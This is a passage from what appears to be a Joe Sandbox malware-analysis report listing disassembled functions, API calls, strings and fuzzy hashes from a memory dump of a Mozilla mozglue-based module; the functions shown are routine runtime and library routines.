tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CB2DA31,00100000,?,?,00000000,?), ref: 6CB3D058

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 581288cccd2d35e4c17321d566e0ce431c7c9747a3c41e5902605858f09c2874
Instruction ID: ce4d47a0c9d84cff84a4c6559d9b524a4c610e01e85b5098da7ec2cfbad8860c
Opcode Fuzzy Hash: 581288cccd2d35e4c17321d566e0ce431c7c9747a3c41e5902605858f09c2874
Instruction Fuzzy Hash: 06D17E71A04B569FD708CF38C5907A9B7E1BF89308F01972DD8598B711EB31A9A9CB81

Function 6CAF1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAF17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAF18EE
free.MOZGLUE(?), ref: 6CAF1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAF194C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 97cdd1b7d85fffa904d7980c81b5e43433a7b9de7d0c8b208bd7282691c9d0c3
Instruction ID: ea59c31dcc4680dcfa06ced35e5ea7b93e477246f33042afda243636b35e5d95
Opcode Fuzzy Hash: 97cdd1b7d85fffa904d7980c81b5e43433a7b9de7d0c8b208bd7282691c9d0c3
Instruction Fuzzy Hash: 2781A0B0A102059FCB08CFA9D8D45AEBBB1FF89314F04452CE925AB754D730E896CBE1

Function 6CB05C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB05D40
EnterCriticalSection.KERNEL32(6CB6F688), ref: 6CB05D67
__aulldiv.LIBCMT ref: 6CB05DB4
LeaveCriticalSection.KERNEL32(6CB6F688), ref: 6CB05DED

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 9b4f395153a10513dfb3a9f1597d2e0ce894331f7dc3c654efb68d37c90f3759
Instruction ID: 3ac025a50a96c7123a0b7e373a53618022461cab96a01c6ea7930a1bbc07b055
Opcode Fuzzy Hash: 9b4f395153a10513dfb3a9f1597d2e0ce894331f7dc3c654efb68d37c90f3759
Instruction Fuzzy Hash: 63516E71F001698FCF08CFA9C854BBEBBB2FB85304F19862AD815A7B90C7706945CB94

Function 6CAECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CAECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CAECF4E

Strings

0, xrefs: 6CAECF30

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 24890b9ba1cc703af11cd99b12feca0613455dff5c56c7ba1ce05205c994651a
Instruction ID: 9c8b65c99bf2830b3ff128cdadce9c51431400c50eb1a0f7c5ae65b921edc137
Opcode Fuzzy Hash: 24890b9ba1cc703af11cd99b12feca0613455dff5c56c7ba1ce05205c994651a
Instruction Fuzzy Hash: 23510375A0025A8FCB04CF18C890AAABBB5EF99304F19859DD8595F391D731ED46CBE0

Function 6CB477D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB477FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB47829

Part of subcall function 6CB1CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CAE31A7), ref: 6CB1CC45
Part of subcall function 6CB1CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CAE31A7), ref: 6CB1CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB4789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB478CF

Part of subcall function 6CAE4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAE4E5A
Part of subcall function 6CAE4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAE4E97

Part of subcall function 6CAE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CB23EBD,6CB23EBD,00000000), ref: 6CAE42A9

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 20c5c87d55ef372331e0b6f95e030074bd24d25730f27ca58785840735d78221
Instruction ID: 2483ad283988288cbf67b996171ab07c989f8dd803cc4dbaeb9e5be81093e7f4
Opcode Fuzzy Hash: 20c5c87d55ef372331e0b6f95e030074bd24d25730f27ca58785840735d78221
Instruction Fuzzy Hash: B2418D719087869BD300DF29D48056BFBB4FF8A254F604A2DE4A987680DB70E559CBD2

Function 6CB26470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CB282BC,?,?), ref: 6CB2649B

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB264A9

Part of subcall function 6CB1FA80: GetCurrentThreadId.KERNEL32 ref: 6CB1FA8D
Part of subcall function 6CB1FA80: AcquireSRWLockExclusive.KERNEL32(6CB6F448), ref: 6CB1FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB2653F
free.MOZGLUE(?), ref: 6CB2655A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: e446b1b13491c2a96d3120b6b87abb48f80deea1af323db42533e4e12490e490
Instruction ID: a3691970467965eb7f9f8206a298dd543765a7dfb0977acb6ede50d522af57c8
Opcode Fuzzy Hash: e446b1b13491c2a96d3120b6b87abb48f80deea1af323db42533e4e12490e490
Instruction Fuzzy Hash: 16317EB5A043559FD704CF24D884AAEBBF4FF89314F40482EE89A97741DB34E919CB92

Function 6CB1FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CB3D019,?,?,?,?,?,00000000,?,6CB2DA31,00100000,?), ref: 6CB1FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CB3D019,?,?,?,?,?,00000000,?,6CB2DA31,00100000,?,?), ref: 6CB1FFF5
free.MOZGLUE(?,?,?,?,?,6CB3D019,?,?,?,?,?,00000000,?,6CB2DA31,00100000,?), ref: 6CB2001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CB3D019,?,?,?,?,?,00000000,?,6CB2DA31,00100000,?,?), ref: 6CB2002A

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 7931303b0173d43ae3027b38aac61acd880f5186c6a612b853a3b0eef3b411ad
Instruction ID: ed549e3332733f4aefdb71bcf8c258dd128f7695ed899915fb3872816dc3d568
Opcode Fuzzy Hash: 7931303b0173d43ae3027b38aac61acd880f5186c6a612b853a3b0eef3b411ad
Instruction Fuzzy Hash: F421D6B2E002555FDB089E78DCD48AFB7BAEB853247250738E425D7B80EA709D0587D1

Function 6CAFB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFB4F5
AcquireSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAFB502
ReleaseSRWLockExclusive.KERNEL32(6CB6F4B8), ref: 6CAFB542
free.MOZGLUE(?), ref: 6CAFB578

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 6d963fd0a8194fd5d2134e710bcb66bfa6079e1a1fcf417200018c7c654766f3
Instruction ID: dcf1a8a5b23e937f8da01972e5994af18f0a23534063645996ee7cf093398b88
Opcode Fuzzy Hash: 6d963fd0a8194fd5d2134e710bcb66bfa6079e1a1fcf417200018c7c654766f3
Instruction Fuzzy Hash: AA110331A04B41C7D3128F2AD8047A6B3B1FF96318F18970AF85A53E41EBB4B1C68790

Function 6CB23DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CAEF20E,?), ref: 6CB23DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CAEF20E,00000000,?), ref: 6CB23DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB23E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CB23E0E

Part of subcall function 6CB1CC00: GetCurrentProcess.KERNEL32(?,?,6CAE31A7), ref: 6CB1CC0D
Part of subcall function 6CB1CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CAE31A7), ref: 6CB1CC16

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 5947a7279671bb27efb1d01f4be6ca1ede959eaad9dd1b49e58d180df1dc5980
Instruction ID: 00defce8cf73090aab700fc0a8d073d3ddfa736c3d905aa8f50ff52368ffbfbf
Opcode Fuzzy Hash: 5947a7279671bb27efb1d01f4be6ca1ede959eaad9dd1b49e58d180df1dc5980
Instruction Fuzzy Hash: 8DF0F8B1A002487BDB00AB55DC82EBF376DEB86628F044020FE0857741D636BE2996F6

Function 6CB320B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB320B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CB1FBD1), ref: 6CB320C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CB1FBD1), ref: 6CB320DA
free.MOZGLUE(00000000,?,6CB1FBD1), ref: 6CB320F1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: bb68a06a5b9f49a40e6555a69effea28e06de48edcdc32daeed84d760b07a759
Instruction ID: 406db063cefdffeecc0c27e538e9c9aa90015de4b2f815f25551ea04a489b14a
Opcode Fuzzy Hash: bb68a06a5b9f49a40e6555a69effea28e06de48edcdc32daeed84d760b07a759
Instruction Fuzzy Hash: 3DE06531600A249BC6209F2AD80855EBBFDEF86214B14062AF54A83B41DB75A54A86DA

Function 6CB385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CB385D3

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CB38725

Strings

map/set<T> too long, xrefs: 6CB38720

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 6e4d929de8a4648cf673c6d2175b5a334ca023ae801d2673e6d4bd019d4f8318
Instruction ID: d79c99f530e03fecd184e7b9b00ba96e6b9c7bb511ed97a1c1035ef55fe4e55b
Opcode Fuzzy Hash: 6e4d929de8a4648cf673c6d2175b5a334ca023ae801d2673e6d4bd019d4f8318
Instruction Fuzzy Hash: EC5155746006A1CFD701CF18C184A59BBF1BF5A318F18C18AD8599BB62C776E885CF92

Function 6CAEBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CAEBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAEBE8F

Strings

0, xrefs: 6CAEBE5B

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: cdbad83feda4a52140ff211ca2228a7b470fe178bca94cf72ac5be365c3a4d83
Instruction ID: fc2ed699562f93d403d06632e438dd6bdea9e6f6e45ac1e217fc81786d3eca7d
Opcode Fuzzy Hash: cdbad83feda4a52140ff211ca2228a7b470fe178bca94cf72ac5be365c3a4d83
Instruction Fuzzy Hash: 5241AC71909745CFC701CF28E485A9BB7F4AF8E348F008B1DF985A7611E730A9999BC6

Function 6CB23CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB23D19
mozalloc_abort.MOZGLUE(?), ref: 6CB23D6C

Strings

d, xrefs: 6CB23D58

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: f6a3061cf76e2f6a6bf9417a4a3f02a7a94134ab3c4e7fb4cc6100361be9ea74
Instruction ID: b29c9d19ddd0117046193b9c55abb0fbb3f64949dd8973c3691723ca11d3e13d
Opcode Fuzzy Hash: f6a3061cf76e2f6a6bf9417a4a3f02a7a94134ab3c4e7fb4cc6100361be9ea74
Instruction Fuzzy Hash: EF110135E046D89BDB018F69DC144FEB779EF8A258B848318EC489BA42FB34A5C4C791

Function 6CAF4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CAF44B2,6CB6E21C,6CB6F7F8), ref: 6CAF473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CAF474A

Strings

GetNtLoaderAPI, xrefs: 6CAF4744

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: ac1638aff2b4956110e8bfc10ba649abec371364c46e3ae5731461f90e59f947
Instruction ID: 155bbe19a422fcca87082a4ddda9618b8b9befe901f48c782cbda049c794fa1e
Opcode Fuzzy Hash: ac1638aff2b4956110e8bfc10ba649abec371364c46e3ae5731461f90e59f947
Instruction Fuzzy Hash: A9019E753012588FDF009FA6D89862D7BB9FB8B321B08446AF905C7740DB74D8028FA1

Function 6CB46DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB46E22
__Init_thread_footer.LIBCMT ref: 6CB46E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB46E1D

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3688460b54af913b03084941af680f3568ecbd7cecad5370351028fbdbb4d4de
Instruction ID: 9bc0fb1c82f6c7aaf437bc89370a25229bf5370f31c4d10700af743d79ecfbdd
Opcode Fuzzy Hash: 3688460b54af913b03084941af680f3568ecbd7cecad5370351028fbdbb4d4de
Instruction Fuzzy Hash: C4F0E97A68D2C1CBDA009B6AC850FA677B2E713228F045165C44587FD1D722B606DE93

Function 6CAF9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CAF9EEF

Strings

Infinity, xrefs: 6CAF9EB7
NaN, xrefs: 6CAF9EC1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: db33e18ab5e5ef5ff08fdb5b2eb0f4e884c0e383c0aab0d29531139ee1eaf7bf
Instruction ID: 5c656cf75d370ed7d1443b38d8da4da77b34b8e124fad4776ac1d991f3b52a29
Opcode Fuzzy Hash: db33e18ab5e5ef5ff08fdb5b2eb0f4e884c0e383c0aab0d29531139ee1eaf7bf
Instruction Fuzzy Hash: 53F0CDB26002E1CBDB00CF6AD949BB17371B70B318F241A98D5100BFC0D336B69ACB82

Function 6CAFBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CAFBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CAFBEF5

Strings

cryptbase.dll, xrefs: 6CAFBEF0

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: fb1671df50124b31099cbe9cb8e8e0011bf9f2910058c71fe9bb6eaa371689ac
Instruction ID: 1455c85b3170be755fd4d10dc25192c54301e0c61dbeb0a0ae56dac6c9942a4e
Opcode Fuzzy Hash: fb1671df50124b31099cbe9cb8e8e0011bf9f2910058c71fe9bb6eaa371689ac
Instruction Fuzzy Hash: E1D022322C0208EBCB00ABA2DD0AF393BB8A706725F10C421F32584C91C7B0A491DF80

Function 6CAE50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAE4E9C,?,?,?,?,?), ref: 6CAE510A
